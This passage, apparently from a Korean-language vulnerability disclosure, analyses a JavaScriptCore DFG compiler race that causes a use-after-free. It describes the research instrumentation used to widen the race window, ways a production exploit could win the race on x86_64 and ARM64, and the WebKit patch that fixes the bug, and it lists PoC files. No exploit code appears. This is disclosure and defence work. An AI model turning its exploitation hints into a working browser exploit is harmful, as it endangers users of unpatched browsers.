The `[tgcp] HIT` 라인은 `tryGetConstantProperty()`가 대상 속성을 셀 값으로 성공적으로 상수 폴딩했음을 확인합니다. `RACE` 라인은 컴파일러 스레드가 확장된 윈도우에 진입했음을 보여줍니다. `WAKE` 라인은 스레드가 재개됨을 보여줍니다. ASan 진단은 셀을 "접근 가능"으로 보고합니다. ASan은 단순한 레드존 위반을 감지하지 않지만, 셀의 내부 포인터(구조 ID, `MarkedBlock` 역참조 포인터)가 유효하지 않아 JSC 자체 코드가 이를 사용하려 할 때 충돌이 발생합니다.

---

## 7. Research Instrumentation

### 7.1 What is artificial

연구용 빌드는 `tryGetConstantProperty()`를 세 가지 방식으로 수정합니다:

- 500밀리초 `usleep()`이 경합 윈도우를 넓힙니다. 기본 엔진에는 이곳에 sleep이 없으며, 셀 잠금 해제와 `freeze()` 호출 사이의 자연적 윈도우는 나노초 단위입니다.
- 원시 `Safepoint`가 `Graph`를 `Scannable`로 등록하지 않고 입력됩니다. 프로덕션 세이프포인트(`GraphSafepoint`를 통해)는 `Graph`를 추가하여 GC가 모든 동결된 값을 방문하도록 합니다. 원시 세이프포인트는 아직 동결되지 않은 셀을 GC에서 보이지 않게 만듭니다.
- 환경 변수(`JSC_TGCP_SLEEP_USEC`, `JSC_TGCP_SIGNAL_PATH`)는 sleep 지속 시간과 선택적 시그널 파일을 제어합니다.

### 7.2 What is not artificial

충돌 자체는 수정되지 않은 JSC 코드 경로에서 발생합니다:

- `JSFinalObject::visitChildrenImpl`과 `SlotVisitor::appendHiddenUnbarriered`는 기본 GC 마킹 로직입니다.
- `Graph::freeze()`와 `FrozenValue::freeze()`는 기본 DFG 컴파일러 로직입니다.
- `__asan_poison_memory_region()` 또는 다른 수동 메모리 손상이 사용되지 않습니다.
- 충돌 경로에 "여기서 유효하지 않은 포인터 역참조"라는 명시적 프로브가 삽입되지 않습니다.
- JavaScript 테스트 하니스는 공개 JSC API와 `jsc` 셸 내장 함수(`optimizeNextInvocation`, `numberOfDFGCompiles`, `fullGC`, `drainMicrotasks`)만 사용합니다.
- DFG 컴파일러 스레드는 실제로 GC에 의해 스캔되지 않습니다. 이는 연구 인공물이 아닌 프로덕션 동작입니다.

### 7.3 Assessment

자연적 경합 윈도우는 x86_64에서 인스트루먼테이션 없이 신뢰할 수 있는 재현을 하기에는 너무 좁습니다. ARM64에서는 약한 메모리 순서가 원래 익스플로잇에 훨씬 더 넓은 자연적 윈도우를 제공합니다. 구조와 값 저장소가 재정렬될 수 있으므로, 컴파일러 스레드는 인위적인 타이밍 지원 없이도 일관되지 않은 상태를 관찰할 수 있습니다.

x86_64에서 가상의 프로덕션 익스플로잇은 중요한 지점에서 컴파일러 스레드를 지연시킬 방법(예: 느린 구조 조회, 경합이 있는 잠금, 또는 `freeze()`를 지연시키는 병리적 그래프 형태)이나 많은 컴파일 시도를 통한 통계적 접근이 필요할 것입니다. 인스트루먼테이션은 그 요구 사항을 결정론적 sleep으로 대체합니다.

---

## 8. The Patch

Yusuke Suzuki가 작성하고 Mark Lam이 검토한 WebKit 커밋 `64714692967ad278155fcae66c5cb0f853b3bf34`가 취약점을 수정합니다.

이 수정은 새로운 클래스 `DesiredObjectProperties`를 도입하며, 이 클래스는 DFG 컴파일러가 속성 로드를 상수 폴딩할 때마다 `(JSObject*, PropertyOffset, JSValue, Structure*)` 튜플을 기록합니다. 컴파일이 완료된 후, `Plan::isStillValidOnMainThread()`는 메인 스레드에서 이러한 속성들을 다시 읽고 기록된 값과 비교합니다. 튜플이 유효하지 않은 경우(객체의 구조가 변경되었거나 속성 값이 다른 경우), 컴파일된 플랜은 실행되기 전에 폐기됩니다.

이는 TOCTOU를 원자적 검사로 변환합니다. 최적화된 코드가 설치되기 전에 동기화 지점(메인 스레드 최종화)에서 컴파일러의 스냅샷이 검증됩니다. `freeze()` UAF는 컴파일 중 여전히 발생할 수 있지만, 결과 코드는 절대 사용되지 않습니다.

다중 구조 집합의 경우, 패치된 `tryGetConstantProperty()`는 `structureSet.size() > 1`이고 모든 구조가 적극적으로 감시되지 않을 때 상수 폴딩을 완전히 거부합니다. 이는 S1→S2→S3 전이적 전환 공격을 근원에서 제거합니다.

---

## 9. Files

| 파일 | 설명 |
|------|-------------|
| `toctou_clean_asan_v2.js` | JavaScript 개념 증명 하니스 |
| `DFGGraph.cpp` | 취약한 함수 (`tryGetConstantProperty`), `freeze()`, 및 연구용 계측 |
| `DFGFrozenValue.h` | `FrozenValue::freeze()` — 셀 역참조 지점 |
| `DFGByteCodeParser.cpp` | `weakJSConstant()` 호출 지점 |
| `DFGConstantFoldingPhase.cpp` | `emitGetByOffset()` 호출 지점 |
| `DFGAbstractInterpreterInlines.h` | 추상 인터프리터 호출 지점 |
| `SlotVisitorInlines.h` | `appendHiddenUnbarriered()` — GC 마킹 충돌 지점 |
| `MarkedBlock.h` | `aboutToMark()` — SEGV 발생 위치 |
| `JSLock.cpp` | `didAcquireLock()` — DFG 스레드가 GC에 등록되지 않음을 보여줌 |
도구 다운로드